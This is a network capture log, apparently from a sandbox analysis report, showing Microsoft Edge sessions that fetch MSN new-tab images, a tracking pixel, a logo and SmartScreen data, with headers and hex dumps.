2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 30 30 30 30 35 36 44 30 0d 0a 73 46 69 6c 74 65 72 65 64 50 6c 61 63 65 6d 65 6e 74 28 65 2c 74 29 7d 49 73 57 69 6e 6e 65 72 43 6f 61 63 68 4d 61 72 6b 28 65 2c 74 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 5f 72 65 67 69 73 74 72 61 74 69 6f 6e 73 2e 49 73 52 65 67 69 73 74 65 72 65 64 28 65 29 26 26 21 21 74 68 69 73 2e 5f 72 65 67 69 73 74 72 61 74 69 6f 6e 73 2e 49 73 54 72 69 67 67 65 72 65 64 28 65 29 7d 7d 7d 2c 35 36 36 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6f 2e 64 28 74 2c 7b 48 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 7d 29 3b 76 61 72 20 6e 2c 69 3d 6f 28 35 39 39 36 37 29 3b 21 66 75 6e 63 74 69 Data Ascii: 000056D0sFilteredPlacement(e,t)}IsWinnerCoachMark(e,t){return!!this._registrations.IsRegistered(e)&&!!this._registrations.IsTriggered(e)}}},5660:function(e,t,o){"use strict";o.d(t,{H:function(){return r},a:function(){return n}});var n,i=o(59967);!functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49782	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	634	OUT	GET /tenant/amp/entityid/AA12Qge8.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12Qge8 Last-Modified: Mon, 08 Apr 2024 07:24:16 GMT X-Source-Length: 87722 X-Datacenter: westus X-ActivityId: 87fd4403-a732-4cf2-b0c6-1faa214ecc19 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 87722 Cache-Control: public, max-age=253349 Expires: Fri, 26 Apr 2024 19:24:50 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
2024-04-23 21:02:21 UTC	15865	IN	Data Raw: ff d8 ff fe 00 10 4c 61 76 63 35 39 2e 33 36 2e 31 30 30 00 ff db 00 43 00 08 0c 0c 0e 0c 0e 10 10 10 10 10 10 13 12 13 14 14 14 13 13 13 13 14 14 14 15 15 15 19 19 19 15 15 15 14 14 15 15 18 18 19 19 1b 1c 1b 1a 1a 19 1a 1c 1c 1e 1e 1e 24 24 22 22 2a 2a 2b 33 33 3e ff c4 00 a3 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 04 03 02 01 05 00 06 07 08 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 10 00 01 03 03 02 04 04 03 07 03 03 05 01 00 00 07 01 00 02 11 12 21 03 41 31 71 61 51 04 81 91 13 22 b1 32 a1 52 c1 d1 42 e1 14 05 62 23 f0 15 72 f1 92 82 33 43 53 a2 c2 e2 b2 54 24 d2 44 11 01 01 00 02 02 02 01 03 03 03 03 04 03 01 00 03 00 01 02 11 12 21 31 41 51 61 03 13 71 91 22 81 52 32 a1 42 14 b1 d1 04 62 82 72 f0 c1 43 23 f1 ff Data Ascii: Lavc59.36.100C$$""**+33>!A1qaQ"2RBb#r3CST$D!1AQaq"R2BbrC#
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 2a c1 49 5a 34 b4 05 19 51 25 25 25 08 ab aa 89 7f 44 3a e4 69 46 d6 e4 b7 12 e5 15 14 6a 1a 04 28 42 6a a4 d3 a4 76 5d 2b a0 ae 82 92 b4 90 74 2b ac 24 90 a2 10 62 65 44 94 99 55 29 29 35 0b f5 52 a8 74 57 00 a6 94 6e 9a 02 5c 80 ac 39 00 f8 4b 3b aa 2e 4a 2e 48 cc 2b aa e4 52 84 95 d7 e7 e4 82 3c 3b 92 9c 82 84 f7 a9 43 c6 f1 e6 3f 14 aa b7 f4 5b 88 94 36 47 c6 b0 a6 5e d1 a1 71 e4 91 f3 7e 47 1f 05 96 59 c9 34 d7 1c 39 7b 91 11 7f cc 99 23 69 52 6e 27 e9 89 e8 86 f6 b9 0f fe a7 f9 ae 3b 9c f9 ff 00 57 54 c7 1f 9f fa 85 8e 85 75 1c ca 31 c3 23 04 1c 5f 50 94 1c ef b0 a3 f2 7d 67 ee ab 8e 1f 3f f5 47 13 da 1b ee 27 5d 84 a2 9b 95 8e b4 3b c8 2b 83 bc 03 e1 01 53 dc f1 60 00 e0 07 f8 16 7f f2 2f a6 17 8f a3 9b 8c ba f4 16 f1 2a db 86 77 df 90 30 80 39 32 Data Ascii: IZ4Q%%%D:iFj(Bjv]+t+$beDU))5RtWn\9K;.J.H+R<;C?[6G^q~GY49{#iRn';WTu1#_P}g?G'];+S`/w092
2024-04-23 21:02:21 UTC	2537	IN	Data Raw: da 6d a0 ea 81 01 f9 5c 4c 0b 9d 51 8c 9e ed 55 b7 d3 4d dd ce 2b 0a 06 db 06 4c 79 94 b6 7a 0e 9f 60 04 13 70 23 86 a8 3f 43 38 b8 a1 73 1b 98 92 df 6d 8d ed a9 55 c7 1f 55 1b bf 1f e8 2e bc 6d 27 db 68 89 b0 22 78 0d 93 46 4a a2 04 98 dd 47 f6 ce 90 1d 91 b0 7a 01 a7 12 8e 63 30 e3 3f 33 89 eb 6f b8 2c ae 53 eb 5b 49 7e 8c b0 f7 82 eb 0f 34 4e 11 90 10 44 0f 05 3c 98 31 3f dd ee 1e e1 f9 8a 6b 7b 56 df d8 e3 e2 76 f1 4a e7 8f ff 00 f4 4c 69 a5 f9 44 c9 9e 29 e7 dc c9 b9 e0 12 19 db 34 1f fc 60 71 5b b8 80 22 0a e7 cb 3c 67 89 1b e3 8d ac 66 34 fa 39 24 11 33 cb 4b 59 23 b7 0e 12 1c 5b 16 d8 19 9e bb af 45 93 d3 12 37 f6 95 90 7d 36 fe 52 6d a4 05 38 67 b9 7a 56 58 ea f9 44 32 41 05 f6 df e5 13 e0 84 c8 70 32 58 49 11 10 48 26 a9 09 fe bb 18 44 d3 04 6a Data Ascii: m\LQUM+Lyz`p#?C8smUU.m'h"xFJGzc0?3o,S[I~4ND<1?k{VvJLiD)4`q["<gf49$3KY#[E7}6Rm8gzVXD2Ap2XIH&Dj
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 4b ba 39 b0 67 a2 d2 7b 71 ba d4 1e 3a fd cb cc 1c d0 41 7b 6b 32 0d c7 d4 1d e5 11 97 bf c9 4b 43 74 de 6e 0f 4b 6f f5 5a 5c 6d bd 27 97 4d 42 d6 b3 6a a7 cf ee 50 75 db 34 99 d6 77 f8 15 8e ce f4 92 25 b7 e3 08 a7 3b 34 56 1e 29 3d 01 9f 22 97 1c a1 72 82 f3 35 84 ec 5b ff 00 70 b9 f2 dd 06 5e f7 08 c5 8a a0 2d 33 7f 82 0b 28 cd 81 d5 96 c4 da 49 de 57 33 bb c9 1e db 4f e6 24 93 e5 b0 5a 70 cb d6 ab 2e 52 fc c1 0c 71 0c 2e 7c b4 ed 04 94 4e 2c af 64 38 39 de 2d 10 b0 1c fc 8e c8 03 9c 4c f5 53 f5 1c 3d bd 16 97 03 99 68 73 f3 67 c8 e7 4b c8 07 61 31 2a 9a dc 8d f7 17 b4 8d 5a 5d 32 16 71 79 bc dc 21 c3 dd 36 0a f8 a3 7f ab 42 8a 6e 1b b9 e7 1e 12 8a 63 4b bd a5 a0 4e e6 2e 11 7d b9 70 89 24 b4 8e 14 f2 3d 51 e7 0e 47 4e e5 ba 88 b8 07 45 cf 72 6d 31 65 Data Ascii: K9g{q:A{k2KCtnKoZ\m'MBjPu4w%;4V)="r5[p^-3(IW3O$Zp.Rq.\|N,d89-LS=hsgKa1*Z]2qy!6BncKN.}p$=QGNErm1e
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 1b 61 bb ea 94 f7 39 bb 34 90 b9 af 76 ba 7d 39 c6 2c 9b db 9f ee b4 f4 40 07 64 7c 92 03 56 b3 71 fa 74 b8 1d c1 99 23 92 2f 8a 27 75 a4 f0 5e 0b b6 00 cf 5e 1b 25 67 60 a0 1b 7c c0 1b 6a 75 3a a9 37 35 83 4c 7b 89 12 36 36 b1 d5 47 28 73 f1 d3 14 9b 12 01 b9 83 a2 e4 d7 6e bb e3 65 39 e5 cd 27 41 71 6d 3f 14 a7 e5 96 81 32 00 30 a5 b1 02 e8 5c a4 08 88 06 f2 46 a0 ad 64 ed 8e 54 17 68 09 ca 57 a3 24 af 35 80 1a c9 16 8e 71 ba dd c7 12 41 bc dd 57 dd 9d a7 0b d6 89 d5 c0 9b b4 17 34 75 42 3e a2 6f a7 3d d6 89 8a 9c 40 80 20 5b a4 0f bd 0d 92 c6 42 52 8a 93 72 01 1a 5c 6e 88 a9 96 eb a6 9b ac d2 0b c6 d0 67 5d 95 0c a1 84 09 6b c9 b4 46 9e 6a b8 ed 3b 16 e6 c9 0e 12 2f 04 58 6e 7e 8a 2e bd 40 74 00 93 b1 8b f8 a2 68 69 f7 12 46 c4 82 6c 10 d9 09 81 11 d2 Data Ascii: a94v}9,@d\|Vqt#/'u^^%g`\|ju:75L{66G(sne9'Aqm?20\FdThW$5qAW4uB>o=@ [BRr\ng]kFj;/Xn~.@thiFl
2024-04-23 21:02:21 UTC	7952	IN	Data Raw: a4 89 2d b7 53 f7 2b 30 de 88 04 c3 c8 26 d0 44 f9 5f 75 3c 78 da cf 9c 97 ff 00 f9 b7 5b 6b e2 b9 d9 5a df b5 57 40 0d f9 4e df 7a e7 b3 2b 05 45 87 ae f6 83 b4 08 f3 95 5b 40 c2 ea e2 c7 10 69 15 3a 4b c1 1c 24 47 80 42 3c e3 24 53 91 ee 33 2d 86 86 f2 24 c4 9b 73 42 3b 1e 57 ec 20 54 05 23 71 6d ce a4 1b ed 64 df 49 c0 17 44 48 22 c6 92 e1 c8 41 fa 2d 06 cc ca e6 d2 64 83 1a da 3e 3b ac 4f de d0 7a a4 e4 b3 4c 34 9d 60 5e 78 ac 8a 72 bd c4 8c 66 c3 68 b2 d7 1c 63 1c b2 7a dc 7d c3 9f ee 3b 4c c1 bc a9 1e e0 0e 9c 17 9e 9c ec c6 2a 6c 4f 85 90 de ab cd 88 3c 54 5f b5 b2 e6 f5 03 31 7c 19 9e 48 af 51 d8 ce e6 08 13 32 e0 39 d8 83 65 8d db 63 71 f7 0d a6 f2 b6 61 e0 80 35 1a ed 07 a5 aa e6 b3 b8 71 5e 39 6d 5f b9 61 22 48 37 8e 07 ac 1b 81 c4 27 54 1d 3f Data Ascii: -S+0&D_u<x[kZW@Nz+E[@i:K$GB<$S3-$sB;W T#qmdIDH"A-d>;OzL4`^xrfhcz};L*lO<T_1\|HQ29ecqa5q^9m_a"H7'T?
2024-04-23 21:02:21 UTC	12216	IN	Data Raw: 98 57 23 8f 04 9a 0b bf 36 dd 51 6d 31 d3 80 16 53 7a 57 94 25 ee da de 12 98 dc 4e 3f 31 3f e7 24 ef 50 0e 81 29 ce 27 62 54 ee a8 33 f1 b4 1d af cd 48 08 1b 47 80 57 0e 99 df 8a 9d 55 0d bc 3f e1 50 30 51 7b 09 3d 6e 55 17 86 da 22 52 8c b7 e5 64 fd 3e a5 26 ba a2 a1 4c 69 16 46 8c 45 4d 3b 25 dd 86 bb c0 9f 24 b7 35 d1 23 e2 92 0b b6 74 88 4e 23 63 5c e6 f5 3c 05 97 34 d5 3b 98 5c d6 b4 b2 55 82 ed 12 34 00 71 dc 10 bb 2e 3b 02 0c f5 44 4d 88 28 7a b4 4b 67 a4 49 81 30 ad e7 da 1d c2 54 89 88 bd 92 32 90 e6 16 b6 fc 15 17 a3 c4 75 22 46 c0 5d 16 00 a6 40 8b 1b 3b 73 cf 92 ca 61 24 00 41 91 ac 2d 0c 52 e2 44 c5 94 e5 04 32 43 60 93 36 8d e1 0e 5f 59 86 8d ba 05 aa dc 58 8c 58 13 1a fd e8 96 62 32 69 0d 1b 6c 0a c7 9c 8d 35 58 5e 86 47 9d 1b 1e 6a 7e 93 Data Ascii: W#6Qm1SzW%N?1?$P)'bT3HGWU?P0Q{=nU"Rd>&LiFEM;%$5#tN#c\<4;\U4q.;DM(zKgI0T2u"F]@;sa$A-RD2C`6_YXXb2il5X^Gj~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49810	20.110.205.119	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	1271	OUT	GET /c.gif?rnd=1713906139241&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e77229bad79f43ca83b8b957c0f02b66&activityId=e77229bad79f43ca83b8b957c0f02b66&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=59892F5548B8410F875CC582C027017F&MUID=09C025F5A71D6FE2180F319FA60A6E8D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; SM=T
2024-04-23 21:02:21 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Fri, 01 Mar 2024 22:53:54 GMT Accept-Ranges: bytes ETag: "32434d562b6cda1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=09C025F5A71D6FE2180F319FA60A6E8D; domain=.msn.com; expires=Sun, 18-May-2025 21:02:21 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=09C025F5A71D6FE2180F319FA60A6E8D; domain=c.msn.com; expires=Sun, 18-May-2025 21:02:21 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 30-Apr-2024 21:02:21 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 23-Apr-2024 21:12:21 GMT; path=/; SameSite=None; Secure; Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close Content-Length: 42
2024-04-23 21:02:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49815	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	782	OUT	GET /staticsb/statics//latest/icons-wc/icons/MicrosoftStartLogo_dark.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
2024-04-23 21:02:21 UTC	1040	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: Efv1MR2fa2dtkgEmxNk/5Q== Last-Modified: Mon, 22 Apr 2024 19:06:54 GMT ETag: 0x8DC62FF5FA92815 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 2e81064d-101e-00ae-1d4c-950ec5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Length: 5875 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745637,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016925 Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.18016925 Vary: Origin
2024-04-23 21:02:21 UTC	5875	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 33 33 22 20 68 65 69 67 68 74 3d 22 32 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 33 33 20 32 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 33 38 2e 39 38 36 20 34 76 31 32 68 2d 32 2e 30 38 33 56 36 2e 35 39 34 68 2d 2e 30 33 34 4c 33 33 2e 31 34 34 20 31 36 68 2d 31 2e 33 38 6c 2d 33 2e 38 31 37 2d 39 2e 34 30 36 68 2d 2e 30 32 35 56 31 36 68 2d 31 2e 39 32 35 56 34 68 32 2e 39 39 6c 33 2e 34 34 36 20 38 2e 38 39 34 68 2e 30 35 4c 33 36 2e 31 32 35 20 34 68 32 2e 38 36 31 5a 6d 31 2e 37 34 35 2e 39 31 31 63 30 2d 2e 33 33 36 2e 31 32 32 2d 2e 36 31 34 2e 33 36 33 Data Ascii: <svg width="133" height="20" viewBox="0 0 133 20" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M38.986 4v12h-2.083V6.594h-.034L33.144 16h-1.38l-3.817-9.406h-.025V16h-1.925V4h2.99l3.446 8.894h.05L36.125 4h2.861Zm1.745.911c0-.336.122-.614.363

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49816	52.159.108.190	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiWG5NK3NHZ08xT0k0WHJHMTdDZWtyUT09IiwgImhhc2giOiIvSG1pY004S1pBRT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-04-23 21:02:21 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-04-23 21:02:21 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-04-23 21:02:21 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49817	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	1005	OUT	OPTIONS /service/news/feed/pages/ntp?User=m-09C025F5A71D6FE2180F319FA60A6E8D&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&adsTimeout=600&apikey=0QfOX3Vn51YCzitbLaRkTTBadtWpgTN8NZLW0C1SEM&audienceMode=adult&backgroundImageIsSet=false&cm=en-us&column=c3&cookieWallPresent=false&disablecontent=true&infopaneCount=17&it=app&memory=8&mobile=false&newsSkip=0&newsTop=48&ocid=anaheim-ntp-feeds&pgc=547&scn=APP_ANON&timeOut=1000&vpSize=1232x876&wposchema=byregion HTTP/1.1 Host: assets.msn.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: ads-referer,onesvc-uni-feat-tun,taboola-sessionid Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	2303	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 2 Expires: Tue, 23 Apr 2024 21:02:21 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402745773,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur= , cdntime; dur=0 Akamai-Cache-Status: NotCacheable from child Access-Control-Max-Age: 300 Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180169ad Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,X-Statics-Fallback,X-FD-RevIP,X-FD-ClientIP,s-xbox-token,X-Client-Data,x-fd-features,cache-control,pragma,traceparent,Widgets,Muted,OneSvc-Uni-Feat-Tun,appUninstall,Velocity,SoftLanding,PrefMigrated,Akamai-Request-BC Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,X-Statics-Fallback,X-FD-RevIP,X-FD-ClientIP,s-xbox-token,X-Client-Data,x-fd-features,cache-control,pragma,traceparent,Widgets,Muted,OneSvc-Uni-Feat-Tun,appUninstall,Velocity,SoftLanding,PrefMigrated Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: public, max-age=300 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.180169ad Vary: Origin
2024-04-23 21:02:21 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49819	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 13 Apr 2024 12:48:00 GMT X-Datacenter: westus X-ActivityId: d4504d8f-9e92-4961-94f9-22c78a47160f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=223908 Expires: Fri, 26 Apr 2024 11:14:09 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
